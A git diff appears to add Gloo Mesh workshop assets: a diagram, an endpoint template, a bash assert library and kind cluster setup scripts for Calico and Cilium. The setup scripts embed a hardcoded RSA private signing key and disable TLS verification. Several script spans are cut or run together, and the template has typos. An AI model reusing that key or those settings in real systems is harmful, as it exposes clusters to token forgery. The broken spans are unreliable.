wMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/partials/calculate-endpoints.liquid b/gloo-mesh/platform/2-4/default/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/platform/2-4/default/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/scripts/assert.sh b/gloo-mesh/platform/2-4/default/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/scripts/check.sh b/gloo-mesh/platform/2-4/default/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/platform/2-4/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/platform/2-4/default/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/platform/2-4/default/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} 